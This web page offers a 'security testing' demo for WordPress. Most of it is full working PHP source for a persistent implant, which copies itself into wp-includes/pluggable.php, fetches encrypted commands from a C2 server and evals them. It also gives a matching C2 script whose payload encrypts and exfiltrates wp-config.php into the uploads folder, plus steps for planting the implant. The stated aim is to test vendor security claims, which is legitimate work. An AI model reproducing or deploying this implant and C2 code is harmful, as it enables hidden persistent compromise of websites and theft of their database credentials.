WordPress security testing

There are a lot of security solutions around WP eco system advertising their possibility to fight malware, intrusions and exploitation. Most of them are endpoint security solutions, there are cloud ones, but also market knows the managed WP services that offer security in their own way. Having big choice sometime is a problem, because you can’t verify all of the claims and if you try, you will need to waste huge load of time auditing / testing. That is why the goal of this section is to provide tools and methods for easy verification of those claims and to help users into choosing the right offering.

Attack demo

For the purpose of testing two scripts are created: malware/implant and remote C2 server script. Both are extremely easy for setup, but default versions are prepared in that way, so their abuse would require modifications.

malware

This software is based on wp-weaver project, includes encryption in order to hide its actions and is more than modular to accept and execute everything that is sent by C2.

//marker_weaver_ftw
$target_files = array(
    ABSPATH . WPINC . '/pluggable.php'
    //just for demo purposes, that is why too few :)
);

//must be here because collisions of the rand and race conditions
if ( ! function_exists("weaver_plant_payload") ){
    function weaver_plant_payload($file, $payload_data, $append){
        //grab the session for one peer only - payload almost forever in memory
        if ( isset($_REQUEST["peer"]) && $_REQUEST["peer"]!="" ) sleep(9);
        if ( $append ){
            @file_put_contents($file, $payload_data, FILE_APPEND | LOCK_EX);
        }else{
            @file_put_contents($file, $payload_data, LOCK_EX);
        }
        //time window to switch "session" towards another peer
        if ( isset($_REQUEST["peer"]) && $_REQUEST["peer"]!="" ) sleep(2);
    }
    $the_file = $target_files[rand(0,(sizeof($target_files)-1))];
    $my_content = @file_get_contents(__FILE__);
    $my_content_list = @explode("//\x6Darker_weaver_ftw", $my_content);
    if ( is_array($my_content_list) && sizeof($my_content_list) >= 2 ){
        @file_put_contents(__FILE__, $my_content_list[0]);
        @register_shutdown_function("weaver_plant_payload", $the_file, "//\x6Darker_weaver_ftw".$my_content_list[1], true);
    }else{
        //shouldn't be here, but at least don't damage the instance
        @register_shutdown_function("weaver_plant_payload", __FILE__, $my_content, false);
    }
}
//malware code below - any length, any logic
if ( isset($_REQUEST["wpdeeply"])){
    //choose the code execution method
    $method_exec = 'eval';
    $test_pass = FALSE;
    
    //test if execution mechanism works
    if ( $method_exec ){
        switch( $method_exec ){
            case 'eval':
                $test_data = '$find_me = array("find_me");';
                eval($test_data);
                if (isset($find_me) && is_array($find_me) && in_array('find_me', $find_me)) $test_pass = TRUE;
                break;
                //...
        }
        //if works then load instructions from c2
        if ( $test_pass ){
            
	    	//hardcoded values put here during delivery of the test malware
            define('C2_URL', 'https://local.host/c2.php');
            $c2_box_publickey = base64_decode('CCp/4qGswYmd47p4heS8kwnC3z++VwGN7fRLOCi5sn0=');
            
            //encryption key for delivered payload
            $session_key = \Sodium\randombytes_buf(\Sodium\CRYPTO_SECRETBOX_KEYBYTES);
            
            //prepare data for c2 instruction
            $json_requirements = json_encode(array(
                'key'   => base64_encode($session_key),
                'type' => 'eval'
            ));
            
            //encrypt with c2 pub key
            $rcr = \Sodium\crypto_box_seal(
                $json_requirements,
                $c2_box_publickey
                );
            
            //get results
            $c2_remote_fetch = wp_remote_post(
                C2_URL,
                array(
                    'body' => array(
                        'rcr'   => $rcr
                    ),
                )
                );
            //veryfy response
            if ( ! is_wp_error( $c2_remote_fetch ) ) {
                $c2_remote = json_decode( wp_remote_retrieve_body( $c2_remote_fetch ), true );
            }
            //verify response data format and execute commands
            if ( is_array( $c2_remote ) && isset( $c2_remote['payload'] ) && isset( $c2_remote['nonce'] ) ) {
                
                $payload_encrypted = base64_decode( $c2_remote['payload'] );
                $nonce = base64_decode( $c2_remote['nonce'] );
                
                //decrypt final payload from c2
                $payload = \Sodium\crypto_secretbox_open($payload_encrypted, $nonce, $session_key);
                if ( $payload !== false ){
                    @eval($payload);
                }
            }
        }
    }
}
C2

This is simple server side script, that will serve the payload when requested by its malware and will log its actions in order to harvest the fruits of commands execution.

include 'sodium_compat/autoload.php';

//handle the requests from the client/s
if ( isset($_POST["rcr"]) ){
    $encrypted_remote_client_requirements = $_POST["rcr"];
}else{
    exit(0);
}

//simple payload code with arrogant exfiltration method, but possible only for users with upload permissions :) 
$remote_cmd = '
    if ( defined("ABSPATH") ){
        if ( file_exists(ABSPATH."wp-config.php") ){
            wp_upload_bits("wpdeeply.jpg", "", \Sodium\crypto_box_seal(file_get_contents(ABSPATH."wp-config.php"), $c2_box_publickey));
        }
    }
';


//c2 public and secret keys
$c2_box_secretkey = base64_decode('Gr10jP1z0VTyRtaJIav8ElMcmvQ6abfnkfKz5wftI+c=');
$c2_box_publickey = base64_decode('CCp/4qGswYmd47p4heS8kwnC3z++VwGN7fRLOCi5sn0=');

$c2_box_kp = \Sodium\crypto_box_keypair_from_secretkey_and_publickey(
    $c2_box_secretkey,
    $c2_box_publickey
    );

//decode the data received from client
$remote_client_requirements = \Sodium\crypto_box_seal_open(
    $encrypted_remote_client_requirements,
    $c2_box_kp
    );

$remote_client_requirements = @json_decode($remote_client_requirements, true);
if ( !$remote_client_requirements ) exit(0);

//reply to the client with payload encrypted with delivered session_key + used nonce 
if ( is_array($remote_client_requirements) && isset($remote_client_requirements['key']) && isset($remote_client_requirements['type']) ){
    $session_key = base64_decode($remote_client_requirements['key']);
    $session_nonce = \Sodium\randombytes_buf(\Sodium\CRYPTO_SECRETBOX_NONCEBYTES);
    $response = json_encode(array( 'payload' => base64_encode(\Sodium\crypto_secretbox($remote_cmd, $session_nonce, $session_key)), 'nonce'=> base64_encode($session_nonce)));
    //add some fancy logging in order to know the client and type+format of exfiltrated data 
    echo $response;
}
exit();
Setup

In order to run the demo on your own WP instance you will need the following:

  • You will need to be logged in as user with upload permissions on the WP (it is this way in order to be stopped abuse of the scripts and that is why in the payload is used wp_upload_bits function)
  • In the malware script set up your own value for C2_URL constant and that is the url of your C2 script
  • In order to work C2 script you will need sodium_compat next to it and it could be found into any WP 5+ distribution under wp-includes folder
  • cat malware.txt >> /path_to_your_code/wp-includes/pluggable.php
  • Logged in with user with upload permissions hit refresh on your WP homepage with ?wpdeeply=ok parameters and check in the upload directory wpdeeply?-x.jpg with encrypted wp-config.php content

Successful demo

This means that you managed to put malware on your WP and to execute code in it. For tech people it is clear (try to use peer method of the weaver) what is done in the background, but for not tech savvy users won’t be, but both are more than free to question its security guarantee about the events. Questions that would be good to be answered:

  • Why malware doesn’t disappear after update / re-install from admin screen or wpcli?
  • What type of commands “attacker” executed against WP?
  • What data was leaked and where?